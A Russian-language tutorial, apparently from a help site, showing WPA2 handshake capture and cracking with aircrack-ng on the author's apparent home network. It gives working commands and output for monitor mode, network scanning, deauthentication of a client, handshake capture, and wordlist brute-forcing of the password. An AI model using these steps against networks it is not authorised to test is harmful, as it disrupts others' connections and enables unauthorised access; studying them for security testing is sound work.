Снятие дампов при помощи aircrack-ng

How can we help?

Навигация

Для перехвата пакетов нам необходимо переключить наш беспроводной адаптер в monitor mode (также rfmon mode), в этом режиме драйвер не фильтрует пакеты и передаёт всё, что улавливает антенна, в ОС. Пакеты с неверной контрольной суммой не отбрасываются и их можно видеть, к примеру, в Wireshark.

Для того чтобы адаптер не переключился на соседний канал, в то время когда по предыдущему каналу прошёл новый пакет (пакет будет потерян, это критично, когда вы пытаетесь перехватить handshake) поэтому для отключения всех программ, которые используют беспроводной адаптер и не дают зафиксировать канал, используется эта команда:

┌──(kali㉿thpad-kali)-[~/2022.04.04_sniff_home]
└─$ sudo airmon-ng check kill                                                 

Killing these processes:

   PID Name
   945 wpa_supplicant

Без kill будет выведен список всех подозрительных процессов, а с kill они будут завершены. Теперь можем включить режим monitor:

┌──(kali㉿thpad-kali)-[~/2022.04.04_sniff_home]
└─$ sudo airmon-ng start wlan0


PHY     Interface       Driver          Chipset

phy0    wlan0           iwlwifi         Intel Corporation Wi-Fi 6 AX201 (rev 20)
               (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
               (mac80211 station mode vif disabled for [phy0]wlan0)

Можно попытаться включить режим мониторинга командой:

ifconfig wlan0 down && iwconfig wlan0 mode monitor && ifconfig wlan0 up

Видим что у на появился виртуальный интерфейс wlan0mon, которому и указываем начать сбор пакетов в радио при прмощи программы airodump-ng. Она выводит в консоль две таблицы, в верхней выводятся найденные беспроводные сети, в нижней — клиенты, подключенные к ним, или не подключенные, но с активным беспроводным адаптером, транслирующем какие-то пакеты (например, о поиске сети с определённым именем).

опция —band ab говорит адаптеру собирать информацию одновременно в обоих частотных диапазонах 2,4 и 5 ГГц

┌──(kali㉿thpad-kali)-[~/2022.04.04_sniff_home]
└─$ sudo airodump-ng --band ab wlan0mon

CH 159 ][ Elapsed: 1 min ][ 2022-04-04 19:55                                                                
                                                                                                            
BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                             
                                                                                                            
74:83:C2:71:F2:39  -48       15        0    0   1  130   WPA3 CCMP   SAE  homenet                           
76:83:C2:11:F2:39  -48       15       18    0   1  130   WPA2 CCMP   PSK  home.net                          
76:83:C2:11:F2:3A  -64       28       57    0 157  720   WPA2 CCMP   PSK  home.net                          
74:83:C2:71:F2:3A  -64       28       19    0 157  720   WPA3 CCMP   SAE  homenet                           
52:FF:20:59:92:04  -79       12        3    0   4  360   WPA2 CCMP   PSK  Zyxel                             
52:FF:20:51:E1:0E  -81        0        1    0   4  360   WPA2 CCMP   PSK  Shmagin WIFI                      
52:FF:20:51:E1:20   -1        0        3    0   4   -1   WPA              <length:  0>                      
                                                                                                            
BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes                           
                                                                                                            
76:83:C2:11:F2:39  A8:9C:ED:AB:5D:88  -69   24e- 1e     0       11                                          
76:83:C2:11:F2:3A  04:E5:98:88:0F:0A   -1   24e- 0      0       34                                          
76:83:C2:11:F2:3A  3C:BD:3E:58:26:B6   -1    6e- 0      0        1                                          
74:83:C2:71:F2:3A  3A:57:65:B1:DE:B5   -1    6e- 0      0        1                                          
(not associated)   2A:AC:DE:FF:82:5A  -40    0 - 1      0       25         MI 8,Telecom21-BE13,egov-private
(not associated)   DC:9F:DB:97:13:C2  -81    0 - 1      0        1                                          
52:FF:20:51:E1:0E  56:FF:20:21:E1:20   -1    1e- 0      0        1                                          
52:FF:20:51:E1:20  56:FF:20:19:92:04  -82    0 - 1e     0        4                                          
Quitting...                                                                                     

Столбцы первой таблицы с доступными беспроводными сетями:

BSSID — уникальный MAC-адрес беспроводной сети. По аналогии с MAC-адресом сетевых карт, это 6 чисел в шестнадцатеричном формате, разделённых двоеточием, например: AA:00:BB:12:34:56. Он передаётся в большинство других команд.

PWR — уровень сигнала. Это отрицательное число; чем оно ближе к 0 — тем сигнал сильнее. Обычно для комфортной работы это число до -50, для видеосвязи — до -65, для VoIP — до -75. Значения ниже -85 и в особенности ниже -90 можно считать крайне слабым уровнем. Число зависит как от мощности передатчика, так и от коэффициента усиления антенны в вашем адаптере (внешние адаптеры имеют усиление 0-12 dB, внешние 1-2-метровые всенаправленные антенны — до 24 dB)

Beacons — число переданных этой точкой доступа «маячков» — пакетов, оповещающих находящихся рядом устройств о существовании этой беспроводной сети, уровне сигнала, её имени (BSSID/ESSID) и прочей информации. Используется для подключения. По умолчанию точки доступа обычно настроены на передачу маячков каждые 100 мсек (10 раз в секунду), но интервал можно увеличить до 1/сек. Отсутствие маячка не говорит об отсутствии беспроводной сети — в скрытом (hidden) режиме точка доступа не передаёт маячков, но к ней можно подключиться, если знать точное имя сети. О способе обнаружения таких сетей — ниже.

#Data — число пакетов с данными, которые пришли от этой точки доступа. Это может быть HTTP-трафик, ARP-запросы, запросы на авторизацию (handshake) и прочее. Если к сети не подключен ни один клиент или если он ничего не передаёт, то это значение не меняется и может быть 0.

#/s — число пакетов с данными в секунду. #Data делённое на время наблюдения за этой сетью.

CH — номер канала. Как уже было описано выше, весь доступный спектр Wi-Fi разделён на 14 каналов; точка доступа и, соответственно, клиенты, передают данные на определённом канале и этот столбец указывает, к какому каналу привязана эта точка доступа и её клиенты

MB — скорость передачи (ширина канала) в Мбит/с. Точка в конце обозначает, что точка доступа поддерживает короткую преамбулу (short preamble). Можно увидеть значения 11, 54, 54e. Нас это обычно мало волнует

ENC — тип беспроводной сети — OPN (открытая), WEP, WPA, WPA2. На основании этого параметра мы выбираем подходящую схему атаки.

CIPHER — тип шифрования данных после handshake. Может быть TKIP и CCMP.

AUTH — механизм аутентификации для передачи временного ключа. Может быть PSK (обыная авторизация по единому паролю для WPA(2)), MGT (WPA(2) Enterprise с отдельным сервером с ключами RADIUS), OPN (открытая).

ESSID — имя беспроводной сети. Именно его вы видите в «Диспетчере беспроводных сетей» в Windows и указываете в настройках точки доступа. Так как это пользовательское имя, то оно может не быть уникальным, и для всех внутренних операций используется BSSID (то есть MAC-адрес адаптера в точке доступа), а это — просто отображаемое название.

Столбцы второй таблицы с беспроводными клиентами:

BSSID — MAC-адрес точки доступа, к которой подключен клиент (см. первую таблицу). Если указано (not associated) — клиент отключен от всех сетей, но адаптер работает (возможно, он ищет доступные сети).

STATION — MAC-адрес клиента. Когда-то эти адреса были вшиты в адаптер на фабрике и не могли быть изменены, но сегодня может быть настроен в подавляющем большинстве случаев. В Linux/Mac для этого есть штатные средства., в Windows с этим сложнее и поддержка зависит от драйвера. MAC-адрес точно так же, как и в проводных сетях, передаётся буквально в каждом пакете от этого клиента и это основная причина, почему фильтрация по MAC почти бесполезна.

PWR — уровень сигнала от клиента. Чем ближе к 0, тем клиент ближе/сигнал мощнее (см. первую таблицу).

Rate — когда airodump-ng запущен с фиксацией канала (см. ниже), этот столбец покажет частоту передачи пакетов с данными от точки доступа к клиенту (слева от дефиса) и от клиента обратно (справа).

Lost — число потерянных пакетов, которые наша система (не клиент) не зарегистрировала. Это легко вычислить, так как в передаваемых пакетах есть счётчик.

Frames или Packets — число пакетов с данными, которые мы уловили от этого клиента (см. #Data в первой таблице).

Probe — список ESSID-имён беспроводных сетей, к которым клиент пытался подключиться. Здесь могут быть перечислены совсем не те сети, которые вы видите вокруг, а те, к которым клиент подключался ранее, или же скрытые сети.

Иногда в некоторых столбцах можно увидеть числа -1, а в последнем столбце — <length: 0>. Это признаки беспроводной сети, которая не транслирует свои данные в открытом виде, а отвечает лишь когда клиент сделал явный запрос на подключение с указанием корректного ESSID и пароля. Кроме этого, точка доступа может вообще не транслировать маячки и станет активна только, когда к ней подключится клиент, знающий её имя. Если оставить airodump-ng запущенным достаточно долгое время и если в этом промежутке к скрытой сети подключится новый клиент, то в правом верхнем углу появится сообщение вида [ Decloak: 00:00:11:11:22:22 ] с BSSID точки доступа, конспирацию которой мы раскрыли.

Каждый подключенный клиент общается с базовой станцией по её BSSID — и это именно то, что мы видим в обеих таблицах airodump-ng.

Далее выбираем точку доступа для «охоты» —bssid 76:83:C2:11:F2:3A и соберем дамп в текущаю папку -w ./ и наблюдаем в надежде перехватить рукопожатие со всеми идентификаторами и ключами:

┌──(kali㉿thpad-kali)-[~/2022.04.04_sniff_home]
└─$ sudo airodump-ng --bssid 76:83:C2:11:F2:3A --channel 157 -w ./ wlan0mon

CH 157 ][ Elapsed: 2 mins ][ 2022-04-04 20:04                                                               
                                                                                                            
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                         
                                                                                                            
76:83:C2:11:F2:3A  -59   0     1199      793    6 157  720   WPA2 CCMP   PSK  home.net                      
                                                                                                            
BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes                           
                                                                                                            
76:83:C2:11:F2:3A  2A:AC:DE:FF:82:5A  -41    6e- 6e  1021      820                                          
76:83:C2:11:F2:3A  04:E5:98:88:0F:0A  -59   24e- 1      0      795                                         
Quitting…

Для ускорения процесса можем отправить клиенту специальный кадр deauth, который заставит его отключиться от сети, после чего он должен будет подключиться вновь — и в этот момент airodump-ng перехватит рукопожатие, подробнее здесь. Опции команды airplay означают:

  • -0 — означает отправить пакет деаутентификации DeAuth
  • 10 — количество DeAut для отправки, 0 означает отправлять их непрерывно
  • -a 76:83:C2:11:F2:3A — MAC-адрес точки доступа
  • -c 2A:AC:DE:FF:82:5A — MAC-адрес деаутентифицируемого клиента; если это опущено, то все клиенты деаутентифицированы
  • wlan0 — интерфейс с которого отправится DeAuth
(kali㉿thpad-kali)-[~]
└─$ sudo aireplay-ng -0 10 -a 76:83:C2:11:F2:3A -c 2A:AC:DE:FF:82:5A  wlan0                  
20:04:40  Waiting for beacon frame (BSSID: 76:83:C2:11:F2:3A) on channel 157
20:04:41  Sending 64 directed DeAuth (code 7). STMAC: [2A:AC:DE:FF:82:5A] [ 0| 0 ACKs]
20:04:41  Sending 64 directed DeAuth (code 7). STMAC: [2A:AC:DE:FF:82:5A] [ 0| 0 ACKs]
20:04:42  Sending 64 directed DeAuth (code 7). STMAC: [2A:AC:DE:FF:82:5A] [ 0| 0 ACKs]
20:04:42  Sending 64 directed DeAuth (code 7). STMAC: [2A:AC:DE:FF:82:5A] [ 0| 0 ACKs]
20:04:43  Sending 64 directed DeAuth (code 7). STMAC: [2A:AC:DE:FF:82:5A] [ 0| 0 ACKs]
20:04:44  Sending 64 directed DeAuth (code 7). STMAC: [2A:AC:DE:FF:82:5A] [ 0| 2 ACKs]
20:04:44  Sending 64 directed DeAuth (code 7). STMAC: [2A:AC:DE:FF:82:5A] [ 0| 3 ACKs]
20:04:45  Sending 64 directed DeAuth (code 7). STMAC: [2A:AC:DE:FF:82:5A] [ 0|11 ACKs]
20:04:45  Sending 64 directed DeAuth (code 7). STMAC: [2A:AC:DE:FF:82:5A] [ 0|14 ACKs]
20:04:46  Sending 64 directed DeAuth (code 7). STMAC: [2A:AC:DE:FF:82:5A] [ 0|11 ACKs]

CH 157 ][ Elapsed: 24 s ][ 2022-04-04 20:08 ][ WPA handshake: 76:83:C2:11:F2:3A                             
                                                                                                            
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                         
                                                                                                            
76:83:C2:11:F2:3A  -60  70      251      503    3 157  720   WPA2 CCMP   PSK  home.net                      
                                                                                                            
BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes                           
                                                                                                            
76:83:C2:11:F2:3A  2A:AC:DE:FF:82:5A  -39    6e- 6e     0      147  EAPOL  home.net                         
76:83:C2:11:F2:3A  04:E5:98:88:0F:0A  -79    6e- 6e     3      382                                          
Quitting...                                                     

Надпись WPA handshake: 76:83:C2:11:F2:3A говорит нам о том, что рукопожатие уже захвачено. Далее делаем копию дампа на всякий случай:

┌──(kali㉿thpad-kali)-[~/2022.04.04_sniff_home]
└─$
(kali㉿thpad-kali)-[~/2022.04.04_sniff_home]
└─$ cp 01.cap 01.cap.old                                                                                1 ⨯

Теперь нам надо убрать из 01.cap всю лишнюю информацию. С этим нам поможет wpaclean. Что необычно, первым аргументом передается файл куда писать в нашем случае clean-01, вторым откуда брать инфу. Можно перепутать и затереть handshake

┌──(kali㉿thpad-kali)-[~/2022.04.04_sniff_home]
└─$ wpaclean clean-01 01.cap             
Pwning 01.cap (1/1 100%)
Net 76:83:c2:11:f2:3a home.net
Done
┌──(kali㉿thpad-kali)-[~/2022.04.04_sniff_home]
└─$ echo 'Net 76:83:c2:11:f2:3a home.net' > text.txt

Ну и начинаем то ради чего все затеивалось, перебор паролей:

┌──(kali㉿thpad-kali)-[~/2022.04.04_sniff_home]
└─$ sudo aircrack-ng -w ~kali/InsideProFull.txt -b 76:83:c2:11:f2:3a clean-01.cap